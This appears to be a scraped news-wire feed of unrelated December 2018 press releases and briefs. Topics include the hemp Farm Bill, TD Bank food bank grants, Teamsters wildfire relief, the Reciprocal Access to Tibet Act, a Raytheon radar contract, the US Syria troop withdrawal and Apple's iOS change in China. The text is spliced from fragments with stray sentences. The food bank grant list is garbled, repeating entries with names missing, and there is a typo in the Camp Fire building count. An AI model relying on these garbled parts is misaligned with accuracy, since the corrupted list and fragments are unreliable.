Android. About Spanish Broadcasting System, Inc. Spanish Broadcasting System, Inc. (SBS) owns and operates radio stations located in the top U.S. Hispanic markets of New York, Los Angeles, Miami, Chicago, San Francisco and Puerto Rico, airing the Tropical, Regional Mexican, Spanish Adult Contemporary, Top 40 and Urbano format genres. SBS also operates AIRE Radio Networks, a national radio platform of over 250 affiliated stations reaching 94% of the U.S. Hispanic audience. SBS also owns MegaTV, a network television operation with over-the-air, cable and satellite distribution and affiliates throughout the U.S. and Puerto Rico, produces a nationwide roster of live concerts and events, and owns a stable of digital properties, including LaMusica, a mobile app providing Latino-focused audio and video streaming content and HitzMaker, a new-talent destination for aspiring artists. For more information, visit us online at www.spanishbroadcasting.com. MEDIA CONTACT SBS: Vladimir Gomez VP, Corporate Communications [email protected] (786) 394-9000 Ext. 1144 SOURCE Spanish Broadcasting System, Inc. (SBS) Related Links http://www.spanishbroadcasting.com MORRISVILLE, N.C., Dec. 20, 2018 /PRNewswire/ -- "We applaud the passage of the 2018 Farm Bill, which was signed into law today by the President. The permanent removal of hemp from the Controlled Substances Act, deeming it an agricultural commodity, is a win for all farmers, consumers and businesses. As a result of this legislation, federally-regulated institutions, including banks and credit card companies, may freely conduct business with the hemp industry. Furthermore, it gives farmers access to crop insurance and USDA programs and grants, which are critical to helping farmers and their communities thrive. "Industrial hemp presents a tremendous and long overdue economic opportunity for the American farmer, and for the last several years, Pyxus International has been proudly working with elected officials to help make it a reality. Our gratitude particularly extends to the entire North Carolina U.S. congressional delegation, including House Agriculture Committee members Alma Adams and David Rouzer. "We are excited about the breadth of opportunities provided by the Farm Bill. We will utilize our strong heritage of agronomy expertise, paired with our track and trace technology, SENTRI, to help American farmers capitalize on this emerging market to efficiently and profitably cultivate hemp. That hemp can be processed into hemp-derived cannabidiol (CBD) at our affiliate, Criticality, LLC's, state-of-the-art 55,000-square-foot extraction and purification facility in Wilson, North Carolina, expected to open in early 2019. We are also working with Criticality to help them partner with retailers to capitalize on the rapidly-growing, high-margin CBD market with Criticality's new line of CBD products, Korent, and new and beneficial products in its innovation pipeline." About Pyxus International, Inc. Pyxus International Inc. (NYSE: PYX) is a global agricultural company with 145 years' experience delivering value-added products and services to businesses and customers. Driven by a united purposeto transform people's lives, so that together we can grow a better worldPyxus International, its subsidiaries and affiliates are trusted providers of responsibly sourced, independently verified, sustainable and traceable products and ingredients. For more information, visit www.pyxusintl.com. About Criticality Criticality is an integrated North Carolina-based agricultural hemp company that takes a science-based approach to the extraction, refinement and formulation of high-quality, transparent industrial hemp-derived products. Criticality partners with Pyxus International, Inc. (NYSE: PYX), a provider of responsibly produced, independently verified, sustainable and traceable agricultural products, ingredients and services, to source, process and produce industrial hemp and hemp products under North Carolina's Industrial Hemp Pilot Program. Cautionary Statement Regarding Forward-Looking Statements This press release contains "forward-looking statements" as defined in the Private Securities Litigation Reform Act of 1995. These statements are based on current expectations of future events. Such statements include, but are not limited to, statements about future financial and operating results, plans, objectives, expectations and intentions and other statements that are not historical facts. Such statements are based on the current beliefs and expectations of management and are subject to significant risks and uncertainties. If underlying assumptions prove inaccurate or known or unknown risks or uncertainties materialize, actual results may differ materially from those currently anticipated, expected or projected. The following factors, among others, could cause actual results to differ from those expressed or implied by the forward-looking statements: changes in laws and regulations or the interpretation of laws and regulations, continued compliance with applicable regulatory requirements, and uncertainties with respect to the timing and extent of retail and product-line expansion. Additional factors that could cause results to differ materially from those expressed or implied by forward-looking statements can be found in Pyxus's most recent Annual Report on Form 10-K for the period ended March 31, 2018 and the other filings with the Securities and Exchange Commission (the "SEC") which are available at the SEC's Internet site (http://www.sec.gov). SOURCE Pyxus International, Inc. Related Links http://www.pyxusintl.com CHERRY HILL, N.J., Dec. 20, 2018 /PRNewswire/ -- The TD Charitable Foundation, the charitable giving arm of TD Bank, America's Most Convenient Bank, announced today that it will provide $600,000 in grants to 24 food banks across the bank's Maine to Florida footprint to help provide meals locally to families and individuals in need. The grants focus on food stability; healthy growth and development; and access to fresh food for underserved communities. The grants will help food banks stock shelves to support thousands of people who are experiencing a lack of or limited access to food during this holiday season. "TD is honored to work with food banks to fight hunger in our communities and provide assistance to people in need," said Dominique Goss, Community and Foundation Manager, TD Charitable Foundation. "Through The Ready Commitment, the Foundation is proud to partner with community organizations to provide funding and solutions to help all people overcome the barriers to financial security." The following food banks have received grants: Connecticut : Connecticut Food Bank, Inc. Wallingford ( New London ) Connecticut Food Bank, Inc. Wallingford (Litchfield) Connecticut Food Bank, Inc. Wallingford ( ) Connecticut Food Bank, Inc. Delaware : Food Bank of Delaware , Inc. Newark : Food Bank of , Inc. Florida : Feeding Florida Tallahassee ( Baker County ) Feeding Florida Tallahassee ( Columbia County ) Feeding Florida Tallahassee ( Indian River County ) Feeding Florida Tallahassee ( Miami-Dade County ) Feeding Florida Tallahassee ( Osceola County ) Feeding Florida Tallahassee ( Polk County ) Feeding ( ) Feeding ( ) Feeding ( ) Feeding ( ) Feeding ( ) Feeding ( ) Maine : Good Shepherd Food Bank Auburn ( Androscoggin County ) Good Shepherd Food Bank Auburn ( Aroostook County ) Good Shepherd Food Bank Auburn ( Cumberland County ) Good Shepherd Food Bank Auburn ( Penobscot County ) Good Shepherd Food Bank Auburn ( York County ) Good Shepherd Food Bank ( ) Good Shepherd Food Bank ( ) Good Shepherd Food Bank ( ) Good Shepherd Food Bank ( ) Good Shepherd Food Bank ( ) Massachusetts : The Greater Boston Food Bank, Inc. Boston Food Bank of Western Massachusetts (Hamden & Worcester Counties) The Greater Boston Food Bank, Inc. Food Bank of (Hamden & Worcester Counties) New Hampshire : New Hampshire Catholic Charities, Inc. Manchester New Hampshire Catholic Charities, Inc. New Jersey : Mercer Street Friends Center Trenton Community Food Bank of New Jersey (Atlantic, Camden & Salem Counties) Mercer Street Friends Center Community Food Bank of (Atlantic, Camden & Salem Counties) New York : Food Bank of Hudson Valley ( Sullivan County ) Interfaith Council of Plattsburgh and Clinton County Feeding Westchester (Putnam & Westchester Counties) Regional Food Bank of Northeastern New York Latham ( Albany County ) Regional Food Bank of Northeastern New York Latham ( Clinton , Columbia , Saratoga & Warren Counties) St. Francis Food Pantries and Shelters ( Bronx and Kings Counties) Island Harvest, Ltd (Nassau & Suffolk Counties) Food Bank of Hudson Valley ( ) Interfaith Council of and Feeding (Putnam & Westchester Counties) Regional Food Bank of ( ) Regional Food Bank of ( , , Saratoga & Warren Counties) St. Francis Food Pantries and Shelters ( and Counties) Island Harvest, Ltd (Nassau & Suffolk Counties) Pennsylvania : Philabundance Philadelphia Chester County Food Bank Philabundance Chester County Food Bank Rhode Island : Rhode Island Community Food Bank Association Providence Rhode Island Community Food Bank Association South Carolina : Lowcountry Food Bank, Inc. Charleston (Florence) Lowcountry Food Bank, Inc. Vermont : Vermont Food Bank Barre ( Caledonia , Chittenden , Franklin & Rutland Counties) Vermont Food Bank ( , , Franklin & Rutland Counties) Virginia : Food for Others, Inc. Fairfax Food for Others, Inc. Washington Area : Capital Area Food Bank D.C. Manna Food Center, Inc. ( Montgomery County, MD ) This contribution supports TD's longstanding commitment to community enrichment through its newly launched The Ready Commitment, a multi-year platform that actively promotes inclusivity, economic vitality, environmental wellbeing and health, enabling people of all backgrounds to succeed in a rapidly changing world. As part of The Ready Commitment, TD targets CDN $1 billion (US $775 million) in total by 2030 towards community giving in four critical areas: Financial Security, a more Vibrant Planet, Connected Communities and Better Health. Through this platform, TD aspires to create a more inclusive tomorrow -- helping people of all backgrounds feel more confident, not just about their finances, but about their ability to achieve their goals. For information, visit td.com/thereadycommitment . About the TD Charitable Foundation The TD Charitable Foundation is the charitable giving arm of TD Bank, America's Most Convenient Bank, one of the 10 largest commercial banking organizations in the United States. Since its inception in 2002, the Foundation has distributed over $199 million and more than 19,400 grants through donations to local nonprofits from Maine to Florida. More information on the TD Charitable Foundation, including the online grant application, is available at TDBank.com About TD Bank, America's Most Convenient Bank TD Bank, America's Most Convenient Bank, is one of the 10 largest banks in the U.S., providing more than 9 million customers with a full range of retail, small business and commercial banking products and services at more than 1,200 convenient locations throughout the Northeast, Mid-Atlantic, Metro D.C., the Carolinas and Florida. In addition, TD Bank and its subsidiaries offer customized private banking and wealth management services through TD Wealth, and vehicle financing and dealer commercial services through TD Auto Finance. TD Bank is headquartered in Cherry Hill, N.J. To learn more, visit www.tdbank.com. Find TD Bank on Facebook at www.facebook.com/TDBank and on Twitter at www.twitter.com/TDBank_US. TD Bank, America's Most Convenient Bank, is a member of TD Bank Group and a subsidiary of The Toronto-Dominion Bank of Toronto, Canada, a top 10 financial services company in North America. The Toronto-Dominion Bank trades on the New York and Toronto stock exchanges under the ticker symbol "TD". To learn more, visit www.td.com. SOURCE TD Charitable Foundation Related Links http://www.td.com Scarborough Leader Funding for the project would come from a bond and through a capital campaign. PARADISE, Calif., Dec. 19, 2018 /PRNewswire/ -- Members of Teamsters Local 2010 who lost their homes in the recent Camp Fire received $1,000 checks on Monday, December 17, from the Teamsters Joint Council 7 Disaster Relief Fund. The checks were delivered to the seven Chico State University employees by Local 2010 Secretary-Treasurer Jason Rabinowitz. "I have never been prouder to be a Teamster," said Dave Hawley, Teamsters Joint Council 7 President. "The outpouring of support from Teamsters across the nation has been remarkable." "The Teamsters Union is a family that stands together and supports each other, especially in times of need," Rabinowitz said. "Our members survived a terrible disaster and were there for each other through the whole ordeal. This is what the union is all about." In a matter of weeks, over $300,000 was donated by local Teamster unions across the nation, including $150,000 by the International Brotherhood of Teamsters in Washington D.C. The Teamsters Joint Council 7 Disaster Relief fund has so far delivered over 176 checks to victims of the Camp Fire that devastated Northern California earlier this year. "It doesn't matter how big or how small," said Brannon Pruis, a Chico State University metal worker. "Everything helps. The things we are getting from the Teamsters are the things that will help us see tomorrow." According to Cal Fire, California's forestry and fire protection agency, the Camp Fire burned over 150,000 acres, destroying over 14,0000 buildings and killing at least 86 people, making it one of the worst fires in California history. "You can't prepare for stuff like this," Pruis said. "I have been in Paradise for over 38 years. I grew up here and now you can't even recognize it anymore." "My wife and daughter were able to get out with plenty of time. I went back up and had a hell of a time getting back. It was 38,000 people trying to get out on three to four roads," said Chris Phillipp, a Chico State University facility worker. "It has been crazy seeing everyone come together. I appreciate everything the Teamsters are doing. You don't have to do this, but you are." The Teamsters Disaster Relief Fund is a charitable 501(c) 3 developed in 1991 to assist Teamster members who have suffered a loss from a disaster. The fund receives donations from local unions and their members and is currently developing a fundraising plan to support Teamsters Local 2010's efforts in providing relief when disaster strikes. Teamsters Joint Council 7 represents more than 100,000 members in 23 Local Unions spread across 48 counties of Northern California and the Central Valley and 14 Northern Nevada counties. Teamsters Local 2010 represents over 14,000 workers who keep the University of California and California State University systems running every day. This includes approximately 1,100 skilled trades workers at Cal State and 1,300 at the University of California, as well as approximately 12,000 clerical and administrative support workers at the University of California. Contact: Christian Castro, (213) 247-9500 [email protected] SOURCE Teamsters Joint Council 7 WASHINGTON, Dec. 19, 2018 /PRNewswire/ -- Today, during questioning at a joint House and Senate hearing, Secretary of Veterans Affairs (VA) Robert Wilkie stated he would not demote or discharge any Caregivers from the VA Caregiver program until he could assure national regulations in place to protect Caregivers were being properly followed in the field. Some Caregivers the hidden heroes to wounded, ill and injured Veterans have recently experienced unannounced demotions to their tiered financial support status, while others were inexplicably dropped from the Caregiver program altogether. "Secretary Wilkie should be commended for immediately stopping these recent and ridiculous demotion and discharge determinations by the VA," said Bob Carey, Chief Advocacy Officer at the Independence Fund. "The day-to-day obstacles faced by the Caregivers and families of catastrophically wounded Veterans is already a lifetime challenge. Nothing could be worse than a Caregiver suddenly finding out that their financial support, or health insurance, was canceled by an unknown VA official or some obscure VA policy." The VA has previously asserted that some of the recent demotion and discharge determinations were just unique deviations from established VA policy. Without the decisive and firm leadership of Secretary Wilkie, such deviations could have become the norm. "The Caregiver program called for in the recently passed VA MISSION Act can avoid these types of problems in the future," said Carey, "if we can establish and enforce national Caregiver eligibility standards that apply to both initial determinations and annual re-evaluations. Now is the time to establish a permanent Caregiver designation for our most catastrophically disabled Veterans so they and their Caregivers can stop worrying about getting demoted or dropped." The Independence Fund is a 501c3, national Veterans Service Organization, serving the unmet needs of catastrophically wounded Veterans, Caregivers, and their families. Since 2007, they have delivered more than $60 million in direct support to wounded Veterans, their Caregivers, and families. Learn more at www.IndependenceFund.org. SOURCE The Independence Fund Related Links http://independencefund.org/ KANSAS CITY, Mo., Dec. 20, 2018 /PRNewswire/ -- Thrivent Mutual Funds, an award-winning fund family of Thrivent Financial, announced global marketing agency VMLY&R has been selected as lead agency of record. VMLY&R will develop and execute consumer and financial professional-focused campaigns and digital experiences. The team will specifically focus on awareness; offers; lead generation and nurturing; in addition to online engagement and touchpoints. "We chose VMLY&R because of their growth mindset and deep commitment to building brands using creativity, data, and technology," said Troy Beaver, Vice President, Thrivent Mutual Funds. "They've built an agency with the expertise to enable full-funnel customer experiences." Headquartered in Minneapolis, Thrivent Mutual Funds was recognized as "Best Overall Small Fund Family" out of 30 Small Fund Families reviewed by the Thomson Reuters Lipper award3 years running.1 "We believe that individual investors and financial professionals are looking for trusted brands and that's what we see in Thrivent Mutual Funds," said Jon Cook, global CEO, VMLY&R. "VMLY&R is looking forward to leveraging our approach to creating connected brands to help Thrivent Mutual Funds grow." VMLY&R was awarded the business following a competitive pitch process which concluded in October. Thrivent Mutual Funds and VMLY&R will begin working together immediately. About Thrivent Mutual Funds Thrivent Mutual Funds is sponsored by Thrivent, a mission-driven, not for-profit financial services organization serving Christians for over 100 years. Today, Thrivent has grown into a Fortune 500 organization with $136 billion2 in assets under management/advisement (as of December 31, 2017) and has been named by Ethisphere Institute as one of the "World's Most Ethical Companies" for the past seven years.3 To learn more, visit ThriventFunds.com . About VMLY&R VMLY&R is a global marketing agency that harnesses creativity, technology, and culture to create connected brands. The agency is made up of nearly 7,000 employees worldwide with principal offices in Kansas City, London, New York, Sao Paulo, Shanghai, Singapore and Sydney. VMLY&R works with client partners including Colgate-Palmolive, Danone, Dell, Ford, Office Depot, PepsiCo, Pfizer and Wendy's. Investing in a mutual fund involves risks, including the possible loss of principal. The prospectus and summary prospectus contain more complete information on the investment objectives, risks, charges and expenses of the fund, and other information, which investors should read and consider carefully before investing. Prospectuses are available at ThriventFunds.com or by calling 1-800-847-4836. Past performance is not necessarily indicative of future results. The principal underwriter for the Thrivent Mutual Funds is Thrivent Distributors, LLC., a registered broker-dealer and member of FINRA and SIPC. Thrivent Distributors, LLC is a wholly owned subsidiary of Thrivent, the marketing name for Thrivent Financial for Lutherans. 1 The Lipper Awards for Best Overall Small Fund Family are based on a review of 30 fund families (2018), 32 fund families (2017) and 27 fund families (2016). Winners are selected based on risk-adjusted performance for the three-year period ending Nov. 11, 2017. The designation is awarded to U.S. region funds only. Overall Group Award Methodology: Overall Group Awards are given to the best large and best small fund families separately. Small fund family groups need to have at least three distinct portfolios in each of the equity, bond and mixed-asset class groups to qualify for the Overall Group award. For the 2018 Thomson Reuters Lipper Fund Awards (based on three-year period ending Nov. 30, 2017), a small fund family is defined as having assets of $75.3 billion or less. For the 2017 Thomson Reuters Lipper Fund Awards (based on three-year period ending Nov. 30, 2016), a small fund family was defined as having assets of $63.5 billion or less. For the 2016 Award (based on three-year period ending Nov. 30, 2015) it was defined as assets of $57.7 billion or less. Money Market assets are excluded. The Overall Group award is given to the fund family with the lowest weighted average decile ranking of its respective asset class results based on the consistent return (effective return) value of the eligible funds per asset class. In cases of identical results, the lower average percentile rank will determine the winner. Sales charges are not taken into consideration. Some Thrivent Mutual Funds may have had fee waivers in effect. If they hadn't been in effect performance would have been lower. See ThriventFunds.com or the prospectus for current waiver information. From Thomson Reuters Lipper Awards, 2018 Thomson Reuters. All rights reserved. Used by permission and protected by the Copyright Laws of the United States. The printing, copying, redistribution, or retransmission of this Content without express written permission is prohibited. 2 Includes the Thrivent General Account (which manages surplus and the assets backing our life insurance, fixed annuity and health products), variable subaccount portfolios (primarily connected to variable annuities and variable universal life insurance), mutual funds and other assets related to our affiliates and other subsidiaries. 3 Thrivent Financial was named one of the "World's Most Ethical Companies" by Ethisphere Institute for our leadership in promoting ethical business standards and introducing innovative ideas to benefit the public. "World's Most Ethical Companies" and "Ethisphere" names and marks are registered trademarks of Ethisphere LLC. For details, visit Ethisphere.com. SOURCE VMLY&R WASHINGTON, Dec. 19, 2018 /PRNewswire/ -- The Reciprocal Access to Tibet Act is now law in the US, marking a new era of American support for Tibetans and a challenge to China's oppressive policies in Tibet. Following unanimous passage by both the House and Senate, President Trump signed the bipartisan bill into law today, Dec. 19, 2018. The legislation calls for American diplomats, journalists and ordinary citizens to have the same level of access to the Tibet Autonomous Region and other Tibetan areas as their Chinese counterparts enjoy in the US. "By passing this impactful and innovative law, the US let Beijing know that its officials will face real consequences for discriminating against Americans and Tibetans and has blazed a path for other countries to follow," said Matteo Mecacci, president of the International Campaign for Tibet, a Washington, DC-based nonprofit that advocates for human rights for the Tibetan people. What it does The law requires the Secretary of State to assess Americans' level of access to Tibet within 90 days and report to Congress identifying the Chinese officials responsible for keeping Americans out of Tibet. The Secretary will then ban those officials from receiving visas to enter the US. The law is significant because China takes advantage of open societies like the US to spread its propaganda. Over the past decade, nearly three times as many Chinese delegations visited Western countries compared to the number of Western delegations allowed into Tibet. "For too long, China has covered up their human rights violations in Tibet by restricting travel. But actions have consequences, and today, we are one step closer to holding the Chinese officials who implement these restrictions accountable," said Rep. Jim McGovern (D-Mass.), who originally introduced the bill. Why it's needed The law arrives at a precarious moment inside Tibet. A total of 155 Tibetans have self-immolated since 2009, lighting their own bodies on fire in a tragic attempt to draw attention to China's oppression. The law reflects growing frustration from politicians of both parties and the White House at Beijing's lack of reciprocity on several levels of its relationship with the US. "With this law, the US sends a strong message to Beijing that it needs to abide by international norms on human rights, not only on trade," Mecacci said. "It is imperative now that it is fully implemented and the movement for reciprocal access to Tibet continues to grow around the world." Contact: Ashwin Verghese [email protected] SOURCE International Campaign for Tibet Related Links http://www.savetibet.org STOCKHOLM, Dec. 20, 2018 /PRNewswire/ -- Itiviti, the leading global provider of multi-asset trading technology and financial infrastructure, today announced that Torben Munch, Chief Executive Officer, has decided to retire and will step down from his position at the end of the year. Torben recently led the successful acquisition of ULLINK and integration of the Itiviti and ULLINK businesses. Richard Bentley, Itiviti's Chief Product Officer, has been appointed Interim CEO, effective January 1, 2019. The Board of Directors will initiate a search process for a permanent CEO immediately. "Under Torben Munch's adept leadership, Itiviti has evolved from a diverse group of companies into a global, full-service technology and infrastructure provider for the capital markets," says Per E. Larsson, Chairman of the Board, Itiviti. "We credit Torben with building a strong team and developing a solid, coherent offering aligned with market requirements and customer needs. Following the merger with ULLINK, we are perfectly positioned to leverage our enhanced capabilities with increased focus on growth, reinforcing Itiviti as a global partner for the capital markets industry." The Board of Directors has appointed Richard Bentley, Itiviti's Chief Product Officer, as Interim CEO, effective January 1, 2019. Richard joined ULLINK in 2014 to run Product Strategy and, post-merger, led the development of Itiviti's unified corporate strategy. "During the recent, intensive phase of integration, I have come to appreciate the size of the opportunity available to the new Itiviti and the pool of highly talented people we have in the company to help capture it," says Richard Bentley. "I am committed to harnessing our collective capabilities to deliver on our strategy and serve our outstanding customers with the solutions and support they require. These are exciting times for Itiviti." Per E. Larsson adds, "As Torben has elected to leave the company after more than 25 years in the industry, I want to share the Board's appreciation for his significant contributions. On the foundation he built, we are now entering a new phase with enthusiasm for growth and for extending our role as a strategic partner to our customers. We will help them evolve their trading operations to ensure they can fully capture new opportunities. The Board has strong confidence in Richard, his leadership and vision, in leading the company forward in the next phase for Itiviti." For further information, please contact: Richard Bentley, Chief Product Officer, Itiviti, Tel. +46 8 506 477 35, Email: [email protected] About Itiviti Itiviti is a market-leading global provider of multi-asset trading technology and financial infrastructure solutions for buy-side and sell-side market participants, including NYFIX, one of the industry's largest FIX-based trading communities. Serving around 2,000 clients worldwide, we provide consistent, reliable access to the most up-to-date and innovative order routing, connectivity and trading solutions available. Top-tier trading firms, banks, brokers, exchanges and institutional investors rely on our technology, solutions and expertise to streamline their daily operations, connect to their desired markets, and trade when and where they want. All while being able to comply with global regulation. With global offices in 18 locations covering all major financial centres, the merger of Itiviti and ULLINK in March 2018 created a full-service technology and infrastructure provider, covering all asset classes, geographies and regulatory landscapes. For more information, please visit www.itiviti.com or www.ullink.com . Itiviti is owned by Nordic Capital Fund VII. This information was brought to you by Cision http://news.cision.com http://news.cision.com/itiviti-group-ab/r/torben-munch-steps-down-as-itiviti-ceo,c2704797 The following files are available for download: https://mb.cision.com/Main/13830/2704797/966480.pdf Press release in PDF format http://news.cision.com/itiviti-group-ab/i/180614-itiviti-12a3049-richard-bentley,c2550523 180614 Itiviti 12A3049 Richard Bentley SOURCE Itiviti Group AB SUGAR LAND, Texas, Dec. 19, 2018 /PRNewswire/ -- Trecora Resources (the "Company") (NYSE: TREC), a leading provider of high purity specialty hydrocarbons and waxes, today announced that on December 19, 2018 it entered into a Fifth Amendment ("the Amendment") to its Amended and Restated Credit Agreement. The Amendment modifies certain covenants and definitions, including applicable rate, consolidated EBITDA and consolidated leverage ratio. Sami Ahmad, Chief Financial Officer, said "This Amendment provides the Company with added financial flexibility and greater liquidity. Further, the Amendment demonstrates the strong support for the Company from our bank group." About Trecora Resources (TREC) TREC owns and operates a facility located in southeast Texas, just north of Beaumont, which specializes in high purity hydrocarbons and other petrochemical manufacturing. TREC also owns and operates a leading manufacturer of specialty polyethylene waxes and provider of custom processing services located in the heart of the Petrochemical complex in Pasadena, Texas. In addition, the Company is the original developer and a 33.4% owner of Al Masane Al Kobra Mining Co., a Saudi Arabian joint stock company. Forward-Looking Statements Statements in this press release that are not historical facts are forward looking statements as defined in the Private Securities Litigation Reform Act of 1995. Forward-looking statements are based upon our belief, as well as, assumptions made by and information currently available to us. Because such statements are based upon expectations as to future economic performance and are not statements of fact, actual results may differ from those projected. These risks, as well as others, are discussed in greater detail in Trecora Resources' filings with the Securities and Exchange Commission, including Trecora Resources' Annual Report on Form 10-K for the year ended December 31, 2017, and the Company's subsequent Quarterly Reports on Form 10-Q. All forward-looking statements included in this press release are based upon information available to the Company as of the date of this press release. Investor Relations Contact: Jean Marie Young The Piacente Group, Inc. 212-481-2050 [email protected] SOURCE Trecora Resources Related Links http://www.trecora.com TEWKSBURY, Mass., Dec. 20, 2018 /PRNewswire/ -- Raytheon Integrated Defense Systems, Marlborough, Massachusetts, is awarded a $114,065,820 cost-plus-fixed fee, firm-fixed-price, cost only contract for air and missile defense radar AN/SPY-6(V) integration and production support efforts. The work to be performed is the integration and production support for continued combat system integration and test, engineering, training, software and depot maintenance, and field engineering services, as well as the procurement of spare parts. This contract includes options which, if exercised, would bring the cumulative value of this contract to $357,827,708. Work will be performed in Marlborough, Massachusetts (64 percent); Kauai, Hawaii (18 percent); Portsmouth, Rhode Island (8 percent); San Diego, California (7 percent); Fair Lakes, Virginia (2 percent); and Moorestown, New Jersey (1 percent), and is expected to be completed by December 2019. Fiscal 2017 and 2018 shipbuilding and conversion (Navy); and fiscal 2018 and 2019 research, development, test and evaluation (Navy) funding in the amount of $46,221,947 will be obligated at time of award and funding in the amount of $6,887,511 will expire at the end of the current fiscal year. This contract was not competitively procured. This contract was procured under the statutory authority of 10 U.S. Code 2304(c)(1) - only one responsible source and no other supplies or services will satisfy agency requirements. The Naval Sea Systems Command, Washington, District of Columbia, is the contracting activity (N00024-19-C-5501). PLANO, Texas, Dec. 20, 2018 /PRNewswire/ -- ZeOmega is proud to announce that Jivaits industry-leading population health management (PHM) platformis among the first in the nation to earn PHM Prevalidation status by the National Committee for Quality Assurance (NCQA) in Health Plan Accreditation (HPA) for 2018-2019 standards. With this Prevalidation, organizations using Jiva will benefit from reduced burden for HPA, Population Health Program (PHP), Managed Behavioral Health Organization (MBHO), or Case Management (CM) accreditation elements designated as eligible for automatic credit or plan support. ZeOmega will supply details on auto-credit elements and plan support factors on request. "With Jiva achieving PHM Prevalidation through NCQA, it means our solutions have been rigorously tested and proven to ease administrative workloadas well as heighten the efficiency of administrative dutiesrelated to meeting NCQA program requirements," says Co-founder, President, and Chief Operating Officer for ZeOmega Sada Babu Rai. "Anything we can do to give back time and peace of mind to our clients is always at the forefront of our work." The Population Health Management Prevalidation Program from NCQA reviews tools for PHM, data integration, risk stratification, care management, and other related health technology solutions providing functionality that completely meets or supports factor-level requirements within applicable NCQA PHM in HPA Standards. NCQA created the Prevalidation program to identify Electronic Health Record (EHR) systems, advanced registries, PHM tools, and other related technology solutions that have functionality that helps practices, health plans, and other organizations meet NCQA HPA, PHP, and CM accreditations, or Patient-centered Medical Home Recognition requirements. About NCQA NCQA is a private, non-profit organization dedicated to improving health care quality. NCQA accredits and certifies a wide range of health care organizations. It also recognizes clinicians and practices in key areas of performance. NCQA's Web site (www.ncqa.org) contains information to help consumers, employers and others make more informed health care choices. NCQA can be found online at ncqa.org, on Twitter @ncqa, on Facebook at facebook.com/NCQA.org/ and on LinkedIn at linkedin.com/company/ncqa. About ZeOmega Established in 2001, ZeOmega built and continues to deliver the industry's leading population health management platform, Jiva, including utilization management, case management, and disease management. Our end-to-end, interoperability-enabled platform is rapidly deployable and highly scalable, facilitating collaboration among healthcare stakeholders. Jiva helps healthcare organizations achieve IHI Triple Aim goals with data integration, actionable analytics, workflow automation, patient engagement, clinical quality, provider performance measurement and management, and holistic and personalized assessments to support care planning. Headquartered in Plano, Texas and with offices in Seattle, Washington and Bangalore, India, ZeOmega supports over 30 million lives on the Jiva platform, employs over 500 talented individuals, hosts an extensive partner network, and serves the healthcare industry's leading health plans and other risk-bearing entities. For more information, visit www.zeomega.com or call 214-618-9880. Follow ZeOmega on Twitter, LinkedIn, and Facebook. SOURCE ZeOmega Related Links http://www.zeomega.com Washington, Dec 20 : The Donald Trump-led US administration announced that it has started returning US troops home from Syria after claiming a victory in the fight against the Islamic State (IS) without revealing any detailed timetable. "We have started returning US home as we transition to the next phase of this campaign," said White House Spokesperson Sarah Sanders in a statement on Wednesday, claiming that America has "defeated the territorial caliphate". Pentagon later echoed the White House claim, saying that the US military has already begun the process of bringing the US forces back while emphasizing the continuity of the campaign, Xinhua news agency reported. "The Coalition has liberated the IS-held territory, but the campaign against IS is not over," Pentagon spokeswoman Dana White said in a tweet. All US State Department personnel are being evacuated from Syria within 24 hours, informed sources said. An official also revealed that the time-frame for the troops withdrawal from the war-torn Arab country is expected to be between 60 and 100 days. However, a senior Trump administration official, during a background briefing held on Wednesday afternoon, did not directly answer reporters' questions on how the administration intends to withdraw the troops or whether there will a deadline for that. Sanders' statement came about one hour after US President Donald Trump hinted in a tweet about imminent US troop withdrawal from Syria. "We have defeated the IS in Syria, my only reason for being there during the Trump Presidency," Trump tweeted on Wednesday morning. Earlier on Wednesday, the US media cited anonymous officials as saying that the US is planning a "rapid" and "full" withdrawal of troops from Syria. Currently, there are more than 2,000 US soldiers deployed in Syria. Trump has long voiced his desire to bring the US troops back home when possible, while senior administration officials including Defence Secretary James Mattis have advocated for a longer-term military deployment in Syria to secure a victory against the IS. Meanwhile, the Trump administration's claim about victory against the IS has been questioned. "I strongly disagree. It has morphed into other forms of extremism and the threat is very much alive," tweeted British Defence Minister Tobias Ellwood, following Trump's claim on the social media. Senior Republican Senator Lindsey Graham warned "devastating consequences" for US troops quitting Syria. "An American withdrawal at this time would be a big win for IS, Iran, Bashar al Assad of Syria, and Russia," the lawmaker from the state of South Carolina said in a statement on Wednesday. Brasilia, Dec 20 : The chief justice of Brazil's Supreme Court has revoked a ruling made hours earlier by one of his colleagues that could have led to the release from prison of former President Luiz Inacio Lula da Silva. Jose Antonio Dias Toffoli issued the judgment on Wednesday in response to a request from Attorney General Raquel Dodge, who asserted that the earlier ruling could cause "a serious injury to order and security", Efe news reported. The AG Office moved quickly to secure a reversal of Justice Marco Aurelio Mello's ruling that individuals who have had one appeal of their convictions upheld can be eligible for release until they exhaust all appeals. The ruling had the potential to benefit more than 169,000 prisoners, including Lula, though Mello mandated that release would be granted only on a case-by-case basis. His decision came on the Supreme Court's final day of work before its end-of-the-year recess, meaning that between now and February only the chief justice could overturn it. Lula's centre-left opposition Workers Party (PT) likewise wasted no time in reacting to Mello's decision, filing a petition for the immediate release of the former two-term head of state. Lula's attorney, Cristiano Zanin, filed the petition in city of Curitiba, where his client is serving a 12-year prison sentence. Lula, who governed from 2003 to 2010, was convicted last year of having accepted bribes from a construction company in the form of renovations to a seaside condo that the former president never owned or occupied. The conviction was upheld on appeal and Lula has been behind bars since April, which led to his being barred from the presidential election amid polls showing that he would have won by a wide margin. The case against Lula, who denies any wrongdoing, was based largely on plea-bargained testimony from people already convicted of corruption offences. Lula, who faces several other trials for alleged corruption, can still appeal his conviction to the Superior Court of Justice, Brazil's highest federal appellate court for non-constitutional questions of law, and the Supreme Court, Brazil's highest court for constitutional matters. San Francisco, Dec 20 : Apple has made small changes to its software for iPhones to avoid a ban on their sales in China. A Chinese court had earlier banned the sale and import of most iPhone models after granting Qualcomm an injunction against Apple. Qualcomm claimed that Apple violated two of its patents. To avoid the ban, Apple released a small update to iOS this week, The Verge reported on Wednesday, adding that iOS version 12.1.2 contains software changes exclusive to China. In a bid to avoid Qualcomm patent around app management, the update changes the animation for when an app is forced to close, according to MacRumors. Rather than moving up and off the screen, apps now appear to shrink into themselves when swiped closed, the report said. Apple and Qualcomm are suing one another in courts across the world. Apple has also appealed against the Chinese court ruling. It accused Qualcomm of playing dirty tricks, including asserting a patent that had already been invalidated by international courts, and other patents that it had never before used. "Qualcomm's effort to ban our products is another desperate move by a company whose illegal practices are under investigation by regulators around the world," Apple said in a statement last week. The ban does not cover the new iPhone XS, iPhone XS Plus or iPhone XR, which were not yet available when Qualcomm filed its lawsuit. Manila, Dec 20 : James Wan has been fighting against labels for long and is not afraid to challenge himself to defy perceptions. The filmmaker says he hates being 